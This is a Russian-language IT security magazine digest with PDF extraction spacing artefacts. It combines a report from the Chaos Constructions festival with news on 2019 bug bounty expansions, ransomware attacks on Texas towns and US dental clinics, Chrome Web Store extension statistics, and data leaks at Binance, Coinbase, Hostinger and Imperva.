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Зна ешь,  чего  мне  хотелось  боль ше  все го
пос ле окон чания Chaos Constructions? Если
не  зна ешь,  то  можешь  догадать ся,  потому
что  я  меч тал  лишь  о  том,  что бы  схо дить
в  душ,  а  потом  упасть  в  кро вать  и  спать
часов  десять.  Конеч но,  мысль  сесть
и  написать  отчет  в  голове  про мель кну ла,
но приш лось от нее отмахнуть ся — сил уже
не  было.  Потом  затяну ла  рутина,  и  август
остался  далеко  позади.  В  общем,  приз‐ 
наюсь: при поз днил ся. Одна ко пора пла тить
по сче там!

Мы уже пуб ликова ли один  , пос вящен ный похож дени ям
геро ичес кой бабуш ки. В отли чие от  тусовой «бабули», я все два дня про вел
на Chaos Constructions, пос коль ку имен но там сто ял наш стенд. И надо ска‐ 
зать, ничуть не пожалел — инте рес ного было хоть отбавляй.

от чет с CC и TechTrain

Chaos  Constructions,  если  ты  вдруг  про  него  не  слы шал, —  это  фес тиваль,
который про ходит каж дый год в кон це лета в Санкт‐Петер бурге. Он собира ет
хакеров, мей керов, кодеров, гей меров и про чих гиков, нер дов и фри ков всех
мас тей  и  раз новид ностей.  Два  дня  пуб лика  слу шает  док лады,  щупа ет
раритет ные  компь юте ры,  ходит  на  вор кшо пы  и,  самое  глав ное,  обща ется,
обща ется и еще нем ного обща ется, пока не сядет голос или не нач нут под‐ 
кашивать ся ноги  .от выпито го пива

В этот раз фес тиваль начал ся с при ятно го сюр при за. «Мимо тебя сей час
Стол лман  про шел», —  ска зали  мне,  и  я  заобо рачи вал ся.  И  дей стви тель но:
сам  гла ва  Free  Software  Foundation  (сей час  )  и  осно ватель  дви‐ 
жения GNU так  чудес но впи сал ся в  тусов ку наших айтиш ников,  что не сра зу
заметишь.

уже быв ший

Стол лман  прос ледовал  в  ауди торию  и,  под заряжа ясь  чай ком,  вещал
про сво боду соф та часа два, если не три. Под конец, говорят, пус тил с молот‐ 
ка игру шеч ную анти лопу гну, и она тут же ушла за 21 тысячу руб лей. Недаром,
ког да  к  нему  прис тают  с  воп росами  о  том,  как  зараба тывать  на  сво бод ном
соф те, он отве чает в духе «хочешь жить — умей вер теть ся»!

Пом нишь, я чуть выше говорил, что инте рес ного на CC было хоть отбавляй?
Так вот, это не толь ко фигура речи. Было бы очень неп лохо «отба вить» нес‐ 
коль ко  иду щих  парал лель но  кру тых  док ладов,  меж ду  которы ми  нуж но
выбирать или разор вать ся над вое. То есть, конеч но, не убрать их, а лишь рас‐ 
ста вить пос вобод нее.

Мне  уда лось  заг лянуть  на  зах ватыва ющее  выс тупле ние  Артё ма  Каш‐ 
канова, который в домаш них усло виях соб рал компь ютер из 578 гер коновых
реле и теперь пла ниру ет раз работ ку лам пового вычис лителя, а так же экспе‐ 
римен тиру ет  с  логикой  на  осно ве  струй  воды.  Артём  любез но  сог ласил ся
написать нам  ,  так  что можешь  тоже
нас ладить ся.

статью по мотивам сво его  выс тупле ния

Дру гой док лад, на который я схо дил из любопытс тва, был пос вящен крип‐ 
товалют ной  плат форме  TON.  Док ладчик  (Сер гей  Чер ников)  работа ет  в 

,  где  занима ются  раз работ кой  ком пилято ров  C  и  Solidity  в  Fift  —
основной язык TON, вырос ший из Forth. Сер гей тоже прис лал нам   —
она нес коль ко  про лива ет  свет  на  хит рос пле тения блок чей нов  TON. Если же
тебя муча ют  воп росы вро де  «зачем»,  «ког да» и  «как  кон крет но»,  то  знай:  ты
такой не один, а с отве тами пока тугова то.

TON
Labs

статью

INFO

Еще  два  док лада,  ана логи  которых  ты  можешь
най ти  в  виде  ста тей  в  «Хакере»,  —  это  «

»  и 
.

Бо евой
OSINT выс тупле ние  Его ра  Лит винова,  пос‐ 
вящен ное ZigBee

Не смог я прой ти и мимо док лада с наз вани ем «Блю ющая лям бда и тран сцен‐ 
ден тные котики: фун кци ональ ная парадиг ма как путь к прос ветле нию в иллю‐ 
зор ном  мире»,  который  читал  Антон  Ворошев ский.  Меня,  конеч но,  и  так
не нуж но убеж дать в том, что фун кци ональ ное прог рамми рова ние — это один
из самых здо ровых и полез ных спо собов рас ширить соз нание, но пос лушать
еди номыш ленни ков было при ятно. Толь ко пос мотри, как воль гот но воз лежит
на бин бэге этот матерый лям бда‐самец!

Од ного  взгля да  дос таточ но,  что бы  понять:  фун кци ональ ный  стиль  —  путь
к прос ветле нию.

На мно гие кру тые док лады я не попал прос то потому, что не успел или кру‐ 
тил ся где‐то еще. Нап ример, нес коль ко выс тупле ний были пос вящены радио
и бес про вод ным  сетям. Олег  Куп реев  пос вящал  пуб лику  в  хит рости  работы
с Wi‐Fi, Егор Лит винов рас ска зывал про ZigBee, Андрей Стро ков — про SDR
и GNU Radio.

И это я перечис лил толь ко зна комых авто ров и самые близ кие нам темы.
Были  док лады  про  embedded,  монито ринг  сер веров,  гей мдев,  ней росети
и  даже  про  опыт  исполь зования  раритет ных  гад жетов  в  походах.  Короче,
на любой вкус!

Кста ти,  впер вые  я  посещал  Chaos  Constructions  в  2011  году,  и  тог да
демос цена  и  рет рокомпь юте ры  занима ли  основное  прос транс тво,  а  док‐ 
ладов  было  все го  ничего.  Теперь  док лады  идут  два  дня  с  утра  до  вечера
в шесть тре ков, а вот выс тавка ста рой тех ники под расте ряла былое величие.

Впро чем, что‐то инте рес ное наш лось и в этом году. Нап ример, мне уда‐ 
лось  нем ножко  поиг рать  на  ред кой  игро вой  прис тавке  Philips  CD‐i.  Link:
The  Faces  of  Evil  —  ред кос тная  дрянь  как  игра,  но  гра фика  и  ани мация
для 1993 года — выда ющиеся.

Еще  силь нее  меня  порадо вал  час тный  уго лок  «Яндекса»,  куда  при вез ли
некото рые экспо наты из мос ков ско го музея ком пании. Так я впер вые порабо‐ 
тал  за  живым  компь юте ром  NeXT,  которых  в  Рос сии  боль ше  ниг де  не  най‐ 
дешь.

Что до демос цены, то этот жанр прак тичес ки иссох, но из двух демок, пред‐ 
став ленных в катего рии ZX Spectrum 640K, одна ока залась неожи дан но инте‐ 
рес ной. Эта работа moronizzz/buchaos хоть по очкам и про игра ла более тра‐ 
дици онной,  кра сивой и  «тех ничес кой»  ,  зато  вос при нима ется
как сов ремен ное и даже зло бод невное искусс тво, которое, в отли чие от раз‐ 
ноцвет ной ани мации и фрак талов, запом нится.

дем ке  thesuper
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ДЕНЬГИ ЗА БАГИ
В этом месяце сра зу нес коль ко круп ных ком паний анон сирова ли рас ширение
сво их прог рамм поощ рения за обна руже ние уяз вимос тей.

Google
Те перь  иссле дова тели  смо гут  зарабо тать,  обна ружи вая  зло упот ребле ние
поль зователь ски ми  дан ными,  а  так же  находя  уяз вимос ти  в  любых  при ложе‐ 
ниях для Android, нас читыва ющих более 100 мил лионов уста новок.

В  рам ках  Developer  Data  Protection  Reward  Program  (DDPRP)  ИБ‐спе‐ 
циалис ты  смо гут  сооб щать  о  зло упот ребле ниях  дан ными  поль зовате лей.
Такие  проб лемы  мож но  будет  искать  в  сто рон них  при ложе ниях,  име ющих
дос туп к Google API, в при ложе ниях для Android из Google Play Store, а так же
в при ложе ниях и рас ширени ях из Chrome Web Store. Экспер ты, которые обна‐ 
ружат  слу чаи  зло упот ребле ния  дан ными,  име ют  пра во  на  воз награж дение
в раз мере до 50 тысяч дол ларов США.

«Цель  дан ной  прог раммы  —  поощ рить  любого,  кто  может  пре дос- 
тавить  дос товер ные  и  нед вусмыс ленные  доказа тель ства  зло упот- 
ребле ния дан ными, — говорят пред ста вите ли Google. — В час тнос ти,
эта  прог рамма  нап равле на  на  выяв ление  ситу аций,  ког да  поль- 
зователь ские  дан ные  неожи дан ным  обра зом  исполь зуют ся  или  про- 
дают ся, а так же незакон ным обра зом исполь зуют ся пов торно без сог- 
ласия поль зовате ля».

В  дан ном  слу чае  Google  сле дует  при меру  ком пании  Facebook.  В  апре‐ 
ле  2018  года,  пос ле  скан дала,  свя зан ного  с  ком пани ей Cambridge Analytica
и зло упот ребле нием поль зователь ски ми дан ными, соци аль ная сеть обно вила
прог рамму  bug  bounty,  что бы  люди,  обна ружив шие  так  называ емый  data
abuse в сто рон нем при ложе нии, мог ли получить за это воз награж дение в раз‐ 
мере до 40 тысяч дол ларов.

Кро ме  того,  у  Google  появи лась  прог рамма  воз награж дений  за  любые
ошиб ки, обна ружен ные в сос таве  круп ных при ложе ний из Google Play Store.
Теперь  иссле дова тели  смо гут  искать  уяз вимос ти  в  любых  при ложе ниях,  чей
счет чик  уста новок  перева лил  за  100  мил лионов,  и  сооб щать  о  проб лемах
Google. При этом раз работ чикам таких при ложе ний не при дет ся спе циаль но
где‐то регис три ровать ся или пред при нимать какие‐то иные шаги.

Со обще ния об уяз вимос тях будут при нимать ся через Google Play Security
Reward  (GPSRP)  на  плат форме  HackerOne,  а  затем  отче ты  переда дут  раз‐ 
работ чикам  при ложе ний.  Если  те  не  суме ют  устра нить  выяв ленные  ошиб ки,
Google исклю чит при ложе ния из Play Store.

Ин терес но,  что  такие  круп ные  раз работ чики,  как  Facebook,  Microsoft
или  Twitter,  которые  име ют  собс твен ные  прог раммы  bug  bounty,  не  исклю‐ 
чают ся  из  GPSRP.  Более  того,  Google  заяв ляет,  что  иссле дова тели  могут
сооб щать  об  ошиб ках  дваж ды:  через  GPSRP  и  нап рямую  через  bug  bounty
прог раммы  самих  ком паний,  таким  обра зом  дваж ды  получая  воз награж‐ 
дение.

Apple
В  этом  году  пред ста вите ли  Apple  выс тупили  на  кон ферен ции  Black  Hat
и сооб щили, что ком пания рас ширя ет прог рамму bug bounty. Теперь за баги
в  iPhone  мож но  будет  получить  до  мил лиона  дол ларов,  а  так же  к  кон цу
текуще го  года  иссле дова тели  смо гут  искать  проб лемы  в  macOS,  watchOS
и tvOS.

Рас ширен ная  bug  bounty  прог рамма  будет  откры та  для  всех  жела ющих,
а  раз мер  наг рад,  как  обыч но,  будут  варь иро вать  в  зависи мос ти  от  серь‐ 
езности  уяз вимос тей  и  потен циаль ного  ущер ба,  который  те  могут  нанес ти.
Напом ню, что изна чаль но прог рамма Apple рас простра нялась толь ко на  iOS
и  учас тво вать  в  ней  мог ли  лишь  избран ные  спе циалис ты,  но  не  все  жела‐ 
ющие.

Воз награж дения  за  уяз вимос ти  теперь  зна читель но  уве личи лись.  Так,
в нас тоящее вре мя Apple пред лага ет иссле дова телям до 200 тысяч дол ларов
США  за  уяз вимос ти,  которые  могут  дать  ата кующе му  пол ный  кон троль
над  iOS‐устрой ством (речь об уда лен ных ата ках, которые не под разуме вают
вза имо дей ствия с поль зовате лем и поз воля ют выпол нить код на уров не ядра
iOS).

На чиная с осе ни 2019 года воз награж дение за такие баги будет уве личе но
до  одно го  мил лиона  дол ларов  США.  Кро ме  того,  пред ложение  так же  рас‐ 
простра няет ся на ана логич ные проб лемы в macOS.

Воз награж дения  за  дру гие  типы  уяз вимос тей  так же  были  уве личе ны,
и теперь иссле дова тели смо гут зарабо тать на раз личных багах от 100 тысяч
до  500  тысяч  дол ларов  США.  Кро ме  того,  Apple  пред лага ет  бонус  в  раз‐ 
мере 50% от сто имос ти уяз вимос ти за проб лемы, най ден ные в пред релиз ных
сбор ках. Таким обра зом ком пания наде ется не допус тить попада ния опас ных
оши бок  в  релиз,  где  они  могут  при вес ти  к  ата кам  на  поль зовате лей,  а  их
исправ ление может занять дол гие недели.

От метим, что уяз вимос ти в опе раци онных сис темах Apple дав но счи тают ся
одни ми из наибо лее дорогих на этом рын ке. К при меру,  ком пания Zerodium
пред лагала мил лион дол ларов за экс пло иты для iOS еще в 2015 году.

Microsoft
В  августе  2019  года  раз работ чики Microsoft  пред ста вили  пер вую  бета‐вер‐ 
сию сво его обновлен ного бра узе ра Edge на осно ве Chromium.

Фак тичес ки одновре мен но с запус ком беты пред ста вите ли ком пании так‐ 
же  анон сирова ли  старт  bug  bounty  прог раммы Edge  Insider  Bounty  Program.
ИБ‐спе циалис там  пред лага ют  поис кать  в  обновлен ном  бра узе ре  ком пании
уяз вимос ти (в вет ках Beta и Dev, Canary в рас чет не при нима ется), воз награж‐ 
дение  за  которые  может  сос тавить  от  одной  до  трид цати  тысяч  дол ларов
США.

Уяз вимос ти  дол жны  про являть ся  в  пос ледней  на  момент  подачи  отче та
вер сии Microsoft Edge, работа ющей в связ ке с пол ностью обновлен ной Win‐
dows (вклю чая Windows 10, Windows 7 SP1 или Windows 8.1) или macOS. Так‐ 
же под черки вает ся, что баги не дол жны вос про изво дить ся в Google Chrome,
то есть дол жны быть «экс клю зив ными» для Edge, и прог рамма Microsoft дол‐ 
жна стать допол нени ем для bug bounty прог раммы Chrome.

Ин терес но, что новая прог рамма сочета ется с Microsoft Edge (EdgeHTML)
в Windows  Insider Preview,  так что некото рые проб лемы, зат рагива ющие ста‐ 
рый дви жок EdgeHTML, тоже могут при нимать ся в рас чет и спо соб ны при нес‐ 
ти экспер там до 15 тысяч дол ларов.

Facebook
Ком пания  Facebook  рас ширила  свою прог рамму Data  Abuse Bounty  на  при‐ 
ложе ния  для  Instagram.  Обна ружив  зло упот ребле ние  дан ными,  иссле дова‐ 
тели смо гут зарабо тать до 40 тысяч дол ларов. При чем пред ста вите ли соци‐ 
аль ной сети уве ряют, что 40 тысяч — это не мак симум, в осо бо слож ных слу‐ 
чаях раз мер воз награж дения может быть уве личен.

На пом ню,  что  еще  в  2018  году  соци аль ная  сеть  при няла  решение  рас‐ 
ширить  свою  прог рамму  воз награж дения  за  уяз вимос ти  и  поощ рять  поль‐ 
зовате лей и экспер тов за поиск приз наков потен циаль ного зло упот ребле ния
дан ными  (data  abuse).  Это  про изош ло  вско ре  пос ле  скан дала,  свя зан ного
с ком пани ей Cambridge Analytica.

Под сло восо чета нием «зло упот ребле ние дан ными» под разуме вает ся, что
при ложе ние собира ет поль зователь ские дан ные, которые затем переда ются
треть им сто ронам, а даль ше информа ция может быть переп родана, похище‐ 
на, исполь зована с целью мошен ничес тва или получе ния полити чес кого вли‐ 
яния.

Сто ит заметить, что с 2018 года прог рамма уже не раз демонс три рова ла
свою эффектив ность. Так, вско ре пос ле стар та прог раммы, в 2018 году, Face‐
book бло киро вала более 200 при ложе ний, зло упот ребляв ших поль зователь‐ 
ски ми дан ными.

Рас ширение  прог раммы  Data  Abuse  Bounty  на  Instagram,  оче вид но,  свя‐ 
зано  с  инци ден том  с  ком пани ей  Hyp3r.  Дело  в  том,  что  в  начале
августа 2019 года рек ламно го пар тне ра  Instagram, ком панию Hyp3r,  ули чили
в сбо ре поль зователь ских дан ных для пос леду юще го сос тавле ния рек ламных
про филей.  Hyp3r  тай но  собира ла  и  хра нила  мил лионы  поль зователь ских
исто рий,  изоб ражений,  дан ные  о  геоло кации,  биог рафи ях,  инте ресах  и  так
далее.  В  ито ге  Hyp3r  была  заб локиро вана  Facebook  за  наруше ние  пра вил
плат формы.
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На кон ферен ции Black Hat 2019, которая прош ла в Лас‐Вегасе в августе, пред ста вите ли ком‐ 
пании Microsoft  рас ска зали,  что  за  пос ледние    кор порация  вып латила 

 дол ларов спе циалис там по информа цион ной безопас ности в рам ках сво ей bug bounty
прог раммы.

12  месяцев 4,4  мил- 
лиона

Так же раз работ чики анон сирова ли запуск новой сре ды‐песоч ницы под наз вани ем Azure Securi‐
ty Lab, где спе циалис ты смо гут эму лиро вать поведе ние прес тупни ков. Теперь наг рада за уяз‐ 
вимос ти в Azure уве личе на до   дол ларов.40 000

ХАКЕРЫ ПРОТИВ
СТОМАТОЛОГИЙ
Вы мога тель ское  ПО  по‐преж нему  ата кует  прос тых  поль зовате лей,  одна ко
опе рато ры  такой  мал вари  дав но  поняли,  что  куда  более  прив лекатель ными
целями  для  атак  могут  стать  раз личные  ком пании  и  орга низа ции.
Август  2019  года  озна мено вал ся  мас совыми  ата ками  на  аме рикан ские
города и взло мом сто мато логи чес ких кли ник.

Му ници паль ные влас ти Техаса
Му ници паль ные влас ти более чем двад цати городов в Техасе ста ли жер тва ми
ско орди ниро ван ной  ата ки  вымога телей.  Под робнос тей  о  слу чив шемся,
к  сожале нию,  нем ного.  Сооб щает ся  лишь,  что  про изо шед шее  —  дело  рук
одно го  прес тупни ка  (или  прес тупной  груп пы)  и,  по  дан ным СМИ,  техас ские
влас ти пос тра дали от вымога теля Sodinokibi (REvil).

По информа ции Депар тамен та информа цион ных ресур сов, жер тва ми дан‐ 
ной ата ки ста ли 22 города, но более 25% пос тра дав ших уже переш ли от ста‐ 
дии  пер вично го  реаги рова ния  и  оцен ки  ущер ба  к  ста дии  лик видации  пос‐ 
ледс твий и вос ста нов лению.

По ка точ ные дан ные о пос тра дав ших все рав но не рас кры вают ся, но два
города сами пуб лично сооб щили о ком про мета ции. Так, офи циаль ное заяв‐ 
ление выпус тили влас ти города Бор джер.

До кумент гла сит, что инци дент пов лиял на финан совые опе рации и услу ги.
По  сути,  город  лишил ся  воз можнос ти  при нимать  ком муналь ные  или  иные
пла тежи,  а  так же  в  офлайн  ушли  служ бы демог рафичес кой  ста тис тики  (сви‐ 
детель ства о рож дении и смер ти).

Так же  офи циаль ное  заяв ление  сде лали  влас ти  города  Кин.  Здесь  адми‐ 
нис тра ция  тоже  не  может  обра баты вать  пла тежи  по  кар там  и  испы тыва ет
проб лемы  с  отклю чени ем  ком муналь ных  услуг.  Инте рес но,  что  мэр  города
Гэри Хай нрих  (Gary Heinrich)  так же рас ска зал изда нию NPR, что вымога тели
тре буют  у  сво их  жертв  2,5  мил лиона  дол ларов  выкупа  в  обмен  на  ключ
для рас шифров ки фай лов.

Кро ме  того,  по  сло вам  Хай нри ха,  ата ка  про изош ла  через  пос тавщи ка
управля емых  услуг  (Managed services providers, MSP),  чьими услу гами  город
поль зовал ся  для  тех ничес кой  под дер жки.  Мэр  Кина  не  наз вал  име ни  этой
сто рон ней ком пании, но заметил, что она пре дос тавля ла услу ги ИТ‐под дер‐ 
жки и мно гим дру гим пос тра дав шим муници пали тетам.

На пом ню,  что  ранее  пос тавщи ки  управля емых  услуг  уже  ста нови лись
мишеня ми для опе рато ров вымога тель ской мал вари, так как через MSP весь‐ 
ма  удоб но  рас простра нять  вре донос ное  ПО  на  машины  конеч ных  поль‐ 
зовате лей.  К  при меру,  таким  спо собом  ранее  рас простра нял ся  ныне  неак‐ 
тивный шиф роваль щик GandCrab.

Сто мато логии
В  кон це месяца  извес тный ИБ‐жур налист Брай ан  Кребс  (Brian Krebs)  сооб‐ 
щил в сво ем бло ге о ком про мета ции пос тавщи ка облачных тех нологий PerC‐
Soft.  PerCSoft  под держи вает  сер вис Digital Dental Record  (DDR),  с  помощью
которо го работа ет решение для резер вно го  копиро вания дан ных DDS Safe.
Это решение при меня ется для архи вации медицин ской докумен тации, стра‐ 
ховых докумен тов и дру гой лич ной информа ции паци ентов, и им поль зуют ся
сот ни сто мато логи чес ких кли ник в США.

По  информа ции  Креб са,  ата ка  на  PerCSoft  про изош‐ 
ла 26 августа 2019 года, пос ле чего дан ные мно гих кли ентов DDS Safe ока‐ 
зались  зашиф рованы.  Хотя  ком пании  про исхо дящее  не  ком менти руют,
оставляя зап росы СМИ без отве тов, Брен на Сад лер  (Brenna Sadler) из Сто‐ 
мато логи чес кой ассо циации Вис конси на под твер дила Креб су,  что в резуль‐ 
тате  инци ден та  вымога тели  зашиф ровали  фай лы  приб лизитель но  400  сто‐ 
мато логи чес ких кли ник. По ее дан ным, от 80 до 100 пос тра дав ших уже вос‐ 
ста нови ли свои дан ные.

Для быс тро го раз решения ситу ации Digital Dental Record и PerCSoft при‐ 
няли решение зап латить опе рато рам мал вари выкуп, о  чем сооб щает изда‐ 
ние  ZDNet  и  сам  Брай ан  Кребс,  ссы лаясь  на  собс твен ные  источни ки.
По информа ции жур налис тов, уже в начале недели ком пании ста ли ока зывать
помощь  пос тра дав шим  кли никам,  пре дос тавляя  в  их  рас поряже ние  рас‐ 
шифров щик  и  помогая  вос ста нав ливать  пов режден ные  фай лы.  При  этом
пред ста вите ли  некото рых  сто мато логи чес ких  кли ник  жалу ются  в  Facebook,
что рас шифров щик либо не сра ботал вов се, либо помог вос ста новить не все
дан ные.

Раз мер  вып лачен ного  выкупа  точ но  неиз вестен,  но  ИТ‐спе циалист,
работа ющий  в  сто мато логи чес кой  отрасли,  поделил ся  фотог рафи ей  в  зак‐ 
рытой  груп пе  Facebook.  На  этом  фото  яко бы  запечат лен  раз говор  меж ду
пред ста вите лем  PerCSoft  и  пос тра дав шей  сто мато логи чес кой  фир мой.
В  раз говоре  пред ста витель  PerCSoft  убеж дает  кли ента,  что  ком пания  уже
зап латила выкуп.

Кро ме того, в той же зак рытой груп пе в Facebook был опуб ликован скрин шот
работы  дешиф роваль щика,  на  котором  вид но,  что  ком пании  пос тра дали
от вымога теля Sodinokibi (он же REvil), уже упо минав шегося в свя зи с ата ками
на города Техаса.

CHROME WEB STORE — ГОРОД‐ПРИЗ РАК
Ис сле дова тели из ком пании Extension Monitor опуб ликова ли инте рес ную ста тис тику о положе‐ 
нии  дел  в  катало ге  рас ширений  для  Chrome.  Как  ока залось,  полови на  эко сис темы  рас‐ 
ширений — это нас тоящий город‐приз рак.

В общей слож ности в Chrome Web Store дос тупно   рас ширений, но боль шинс тво из них
уста рели, их ауди тория сок раща ется, и лишь нем ногие из них име ют активные уста нов ки.

188 620

Око ло   всех рас ширений Chrome нас читыва ют менее   уста новок.50% 16

 рас ширений (око ло  ) не име ют уста новок вооб ще, а еще   рас ширений (
от обще го чис ла) име ют лишь одно го поль зовате ля.
19 379 10% 25 540 13%

Ху же  того,    всех  рас ширений  в  Web  Store  име ют  менее    уста новок,  хотя  поль‐ 
зователь ская база Chrome нас читыва ет   человек.
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Все го   рас ширени ям уда лось пре одо леть план ку в   поль зовате лей. Это Google
Translate, Adobe Acrobat, Tampermonkey, Avast Online Security, Adblock Plus, Adblock, uBlock Ori‐
gin, Pinterest Save Button, Cisco WebEx, Grammarly for Chrome, Skype, Avast SafePrice и Honey.

13 10 000 000

Плат ных  про дук тов  в Web  Store  нас читыва ется  лишь  ,  при чем    из  них  не  име ют
ни одно го поль зовате ля.
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В  общей  слож ности  на  плат ные  рас ширения  при ходит ся  все го    от  обще го  чис ла  уста‐ 
новок.

2,6%

УТЕЧКИ МЕСЯЦА
К  сожале нию,  утеч ки  дан ных  теперь  про исхо дят  едва  ли  не  каж дый  день,
и  про шед ший  месяц,  как  обыч но,  не  обо шел ся  без  подоб ных  инци ден тов.
Перечис лим наибо лее замет ные из них.

KYC-дан ные Binance
В  начале  августа  2019  года  в  Сети  начали  рас простра нять ся  дан ные  KYC
(Know  Your  Customer),  яко бы  похищен ные  у  одной  из  круп ней ших  крип‐ 
товалют ных бирж мира — Binance.

Из началь но  пред ста вите ли  Binance  сооб щили,  что  неиз вес тные  зло умыш‐ 
ленни ки  пытались  шан тажиро вать  их  и  тре бова ли  300  BTC  выкупа  (поряд‐ 
ка 3,5 мил лиона дол ларов США), а в про тив ном слу чае угро жали обна родо‐ 
вать  10  тысяч  фотог рафий,  «которые  име ют  сходс тво  с  дан ными  Binance
KYC».  Пла тить  зло умыш ленни кам  в  Binance  отка зались  и  заяви ли,  что  рас‐ 
простра няющиеся по Сети KYC‐дан ные вызыва ют мно го воп росов. Так, срав‐ 
нивая эту информа цию с дан ными сво их сис тем, пред ста вите ли бир жи обна‐ 
ружи ли мно жес тво несо ответс твий, а глав ным кон трар гумен том ста ло то, что
на изоб ражени ях нет циф ровых водяных зна ков, которые исполь зует Binance.

Гла ва Binance Чан пэн Чжао  (Changpeng Zhao) и  вов се называл про исхо‐ 
дящее FUD’ом (Fear, Uncertainty, Doubt), а офи циаль ное заяв ление бир жи гла‐ 
сило,  что рас простра няющий ся в Сети набор дан ных вооб ще похож на ста‐ 
рую,  весь ма  спор ную  «утеч ку»  KYC‐информа ции  сра зу  нес коль ких  бирж,
датиро ван ную началом года и ничем не под креп ленную.

Но в кон це августа Binance опуб ликова ла обновлен ную информа цию отно‐ 
ситель но  дан ного  инци ден та.  Так,  рас сле дова ние  выяви ло,  что  часть  опуб‐ 
ликован ных изоб ражений все же дей стви тель но пересе кает ся с изоб ражени‐ 
ями, обра бот кой которых занимал ся неназ ванный сто рон ний под рядчик бир‐ 
жи,  сот рудни чав ший  с  Binance  с  декаб ря  2017  года  до  кон ца  фев‐ 
раля  2018  года.  Под черки вает ся,  что  вмес те  с  этим  в  сос таве  дам па  было
выяв лено  мно жес тво  отфо тошоп ленных  и  изме нен ных  дру гими  спо соба ми
изоб ражений, не сов пада ющих с KYC‐дан ными поль зовате лей и не име ющих
водяных зна ков.

Те перь  бир жа  пред лага ет  всем  пос тра дав шим  пожиз ненное  членс тво
в прог рамме Binance VIP, которое под разуме вает льгот ные тор говые комис‐ 
сии, под дер жку и допол нитель ные услу ги. Так же пос тра дав шим нас тоятель но
рекомен дует ся оза ботить ся перевы пус ком докумен тов, удос товеря ющих лич‐ 
ность, так как текущие, оче вид но, были ском про мети рова ны.

Так же  пред ста вите ли  Binance  пред ложили  воз награж дение  в  раз мере
до  25  BTC  (в  зависи мос ти  от  акту аль нос ти  дан ных)  за  любую  информа цию,
которая  поможет  иден тифици ровать  неиз вес тно го  вымога теля  и  передать
его в руки пра воох ранитель ных орга нов.

Па роли Coinbase
Пред ста вите ли  еще одной  круп ной  крип товалют ной бир жи, Coinbase,  обна‐ 
ружи ли  баг  на  стра нице  регис тра ции.  Из‐за  этой  проб лемы  лич ные  дан‐ 
ные 3420  поль зовате лей бир жи  сох ранились  в  логах  на  сер верах  ком пании
в фор мате прос того тек ста.

Учи тывая, что поль зователь ская база Coinbase нас читыва ет более 30 мил‐ 
лионов человек, пос тра дал лишь малый про цент поль зовате лей.

В Coinbase завери ли, что в нас тоящее вре мя проб лема устра нена, а лич‐ 
ная информа ция поль зовате лей не была ском про мети рова на и не под верга‐ 
лась зло упот ребле ниям. Тем не менее для пос тра дав ших ини цииро вали про‐ 
цеду ру сбро са паролей.

В  офи циаль ном  заяв лении  объ ясня ется,  что  в  ред ких  слу чаях  фор ма
регис тра ции мог ла заг ружать ся с ошиб кой и попыт ка соз дать новую учет ную
запись  Coinbase  завер шалась  неуда чей.  Но  к  сожале нию,  все  вве ден ные
челове ком дан ные,  вклю чая  имя,  адрес  элек трон ной  поч ты  и  пред лага емый
пароль (и штат про жива ния, если это был поль зователь из США), все рав но
сох ранялись во внут ренних логах на сер верах ком пании.

Как ока залось, в 3420 слу чаях поль зовате ли успешно перезаг рузили стра‐ 
ницу  регис тра ции,  пов торно  вве ли  свои  дан ные  (вклю чая  такие  же  пароли,
хеши  которых  сов пада ют  с  информа цией,  осев шей  в  логах)  и  завер шили
регис тра цию.

Об наружив и испра вив ошиб ку, раз работ чики так же про вери ли, где мог ли
«зас ветить ся»  логи  с  поль зователь ски ми  дан ными  в  откры том  виде.  К  при‐ 
меру,  у  бир жи  есть  внут ренняя  сис тема  ведения  жур налов,  раз мещен ная
в  AWS.  В  Coinbase  сооб щают,  что  тща тель ный  ана лиз  дос тупа  к  подоб ным
сис темам не выявил попыток несан кци они рован ного дос тупа к дан ным.

Дан ные кли ентов Hostinger
Один  из  круп ней ших  хос теров  мира  —  ком пания  Hostinger  сооб щила,  что
неиз вес тным зло умыш ленни кам уда лось получить дос туп к внут ренне му сер‐ 
веру  и,  воз можно,  информа ции  о  кли ентах.  В  резуль тате  это го  инци ден та
мог ли пос тра дать 14 мил лионов поль зовате лей.

Как  объ ясня ют  пред ста вите ли  ком пании,  инци дент  имел  мес‐ 
то  23  августа  2019  года.  Про ник нув  на  сер вер,  хакер  обна ружил  там  токен
авто риза ции,  бла года ря  которо му  сумел  получить  дос туп  к  RESTful  API
и  информа ции  о  14  мил лионах  кли ентов,  вклю чая  username,  email‐адре са,
хеширо ван ные  пароли,  име на  и  IP‐адре са.  Под черки вает ся,  что  ата кующие
не доб рались до финан совой информа ции и не ломали сай ты поль зовате лей.

В  нас тоящее  вре мя  ведет ся  рас сле дова ние  слу чив шегося,  но  пред ста‐ 
вите ли хос тера уже сбра сыва ют пароли для пос тра дав ших учет ных записей.
Один  из  кли ентов  Hostinger,  которо го  кос нулась  ком про мета ция,  свя зал ся
с ком пани ей и поин тересо вал ся, какой алго ритм хеширо вания исполь зовал‐ 
ся  для  паролей.  В  Hostinger  отве тили,  что  дан ные  были  хеширо ваны
с помощью SHA‐1 и теперь, пос ле сбро са паролей, исполь зует ся SHA‐2.

Точ ное количес тво пос тра дав ших от это го инци ден та пока неиз вес тно, так
как зло умыш ленник обра щал ся к базе через API, а записей о том, какие имен‐ 
но вызовы он делал, не оста лось. Фак тичес ки в нас тоящее вре мя спе циалис‐ 
ты  Hostinger  дей ству ют  исхо дя  из  худ шего  сце нария  раз вития  событий,  то
есть  пред полага ют,  что  ком про мета ция  зат ронула  всех  поль зовате лей  (хотя
пря мых доказа тель ств это го нет).

Imperva WAF
Ком пания  Imperva,  спе циали зиру ющаяся  в  области  кибер безопас ности
и  защиты  от  DDoS‐атак,  сооб щила  о  ком про мета ции.  Инци дент,  о  котором
ком пании ста ло извес тно 20 августа 2019 года (бла года ря пре дуп режде нию,
получен ному  от  неназ ванной  треть ей  сто роны),  кос нулся  кли ентов,  исполь‐ 
зующих Cloud WAF ком пании, зарегис три рован ных до 15 сен тября 2017 года.

В  офи циаль ном  сооб щении  ска зано,  что  в  руки  пос торон них  мог ли
попасть адре са элек трон ной поч ты,  хеширо ван ные и соленые пароли, а для
некой под груп пы поль зовате лей клю чи API и SSL‐сер тифика ты. Ком пания уже
при нес ла свои изви нения, начала уве дом лять пос тра дав ших и ини цииро вать
для них сброс паролей от учет ных записей WAF.

По ка  неяс но,  как  имен но  слу чилась  эта  утеч ка  дан ных,  так  как  пред ста‐ 
вите ли  Imperva не ком менти руют ситу ацию, ссы лаясь на про водя щееся рас‐ 
сле дова ние, к которо му уже прив лечены пра воох ранитель ные орга ны.

